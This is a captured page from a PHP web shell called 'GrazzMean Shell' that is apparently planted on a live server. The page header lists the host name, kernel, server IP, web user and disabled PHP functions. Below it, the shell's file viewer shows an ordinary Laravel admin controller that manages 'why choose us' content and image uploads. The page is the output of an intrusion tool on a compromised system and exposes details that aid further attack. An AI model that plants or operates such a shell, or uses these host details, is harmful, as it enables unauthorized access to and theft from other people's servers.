shell bypass 403

GrazzMean Shell

Uname: Linux peekpos.com 6.8.0-1060-aws #63~22.04.1-Ubuntu SMP Tue Jun 30 02:32:53 UTC 2026 x86_64
Software: Apache
PHP version: 8.3.25 [ PHP INFO ] PHP os: Linux
Server Ip: 47.130.192.226
Your Ip: 10.1.31.86
User: www (1001) | Group: www (1001)
Safe Mode: OFF
Disable Function:
passthru,putenv,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : WhyChooseUsController.php
<?php
namespace App\Http\Controllers\admin;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\About;
use App\Models\WhyChooseUs;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Validator;
use App\Helpers\helper;
class WhyChooseUsController extends Controller
{
    public function index(Request $request)
    {
        $content = About::first();
        $allworkcontent = WhyChooseUs::orderBy('reorder_id')->get();
        return view('admin.why_choose_us.index',compact('content','allworkcontent'));
    }
    public function savecontent(Request $request)
    {
        $newcontent = About::first();
        $newcontent->why_choose_title = $request->title;
        $newcontent->why_choose_subtitle = $request->subtitle;
        $newcontent->why_choose_description = $request->description;
        if ($request->has('image')) {
            $validator = Validator::make($request->all(), [
                'image' => 'image|max:'.helper::imagesize().'|'.helper::imageext(),
            ], [
                'image.max' => trans('messages.image_size_message'),
            ]);
            if ($validator->fails()) {
                return redirect()->back()->with('error', trans('messages.image_size_message') . ' ' . helper::appdata('')->image_size . ' ' . 'MB');
            }
            if($newcontent->why_choose_image != null || $newcontent->why_choose_image !="")
            {
                if (file_exists(storage_path('app/public/admin-assets/images/index/' .  $newcontent->why_choose_image))) {
                    unlink(storage_path('app/public/admin-assets/images/index/' .  $newcontent->why_choose_image));
                }
            } 
            $image = 'choose-' . uniqid() . "." . $request->file('image')->getClientOriginalExtension();
            $request->file('image')->move(storage_path('app/public/admin-assets/images/index/'), $image);
            $newcontent->why_choose_image = $image;
        }
        $newcontent->save();
        return redirect('admin/choose_us')->with('success', trans('messages.success'));
    }
    public function add(Request $request)
    {
        return view('admin.why_choose_us.add');
    }
    public function save(Request $request)
    {
        $newwork = new WhyChooseUs();
        $newwork->title = $request->title;
        $newwork->subtitle = $request->subtitle;
       
        if ($request->has('image')) {
            $validator = Validator::make($request->all(), [
                'image' => 'image|max:'.helper::imagesize().'|'.helper::imageext(),
            ], [
                'image.max' => trans('messages.image_size_message'),
            ]);
            if ($validator->fails()) {
                return redirect()->back()->with('error', trans('messages.image_size_message') . ' ' . helper::appdata('')->image_size . ' ' . 'MB');
            }
            $image = 'choose-' . uniqid() . "." . $request->file('image')->getClientOriginalExtension();
            $request->file('image')->move(storage_path('app/public/admin-assets/images/index/'), $image);
            $newwork->image = $image;
        }
        $newwork->save();
        return redirect('admin/choose_us')->with('success', trans('messages.success'));
    }
    public function edit(Request $request)
    {
        $editwork = WhyChooseUs::where('id',$request->id)->first();
        return view('admin.why_choose_us.edit',compact('editwork'));
    }
    public function update(Request $request)
    {
        $editwork = WhyChooseUs::where('id',$request->id)->first();
        if ($request->has('image')) {
            if($editwork->image != null || $editwork->image !="")
            {
                $validator = Validator::make($request->all(), [
                    'image' => 'image|max:'.helper::imagesize().'|'.helper::imageext(),
                ], [
                    'image.max' => trans('messages.image_size_message'),
                ]);
                if ($validator->fails()) {
                    return redirect()->back()->with('error', trans('messages.image_size_message') . ' ' . helper::appdata('')->image_size . ' ' . 'MB');
                }
                if (file_exists(storage_path('app/public/admin-assets/images/index/' .  $editwork->image))) {
                    unlink(storage_path('app/public/admin-assets/images/index/' .  $editwork->image));
                }
            } 
            $image = 'choose-' . uniqid() . "." . $request->file('image')->getClientOriginalExtension();
            $request->file('image')->move(storage_path('app/public/admin-assets/images/index/'), $image);
            $editwork->image = $image;
        }
        $editwork->title = $request->title;
        $editwork->subtitle = $request->subtitle;
        $editwork->update();
        return redirect('admin/choose_us')->with('success', trans('messages.success'));
    }
    public function delete(Request $request)
    {
        $deletework = WhyChooseUs::where('id',$request->id)->first();
        if (file_exists(storage_path('app/public/admin-assets/images/index/' .  $deletework->image))) {
            unlink(storage_path('app/public/admin-assets/images/index/' .  $deletework->image));
        }
        $deletework->delete();
        return 1;
    }
    public function reorder_choose_us(Request $request)
    {
        $getchooseus = WhyChooseUs::get();
        foreach ($getchooseus as $chooseus) {
            foreach ($request->order as $order) {
               $chooseus = WhyChooseUs::where('id',$order['id'])->first();
               $chooseus->reorder_id = $order['position'];
               $chooseus->save();
            }
        }
        return response()->json(['status' => 1,'msg' => trans('messages.success')], 200);
    }
}
© 2026 GrazzMean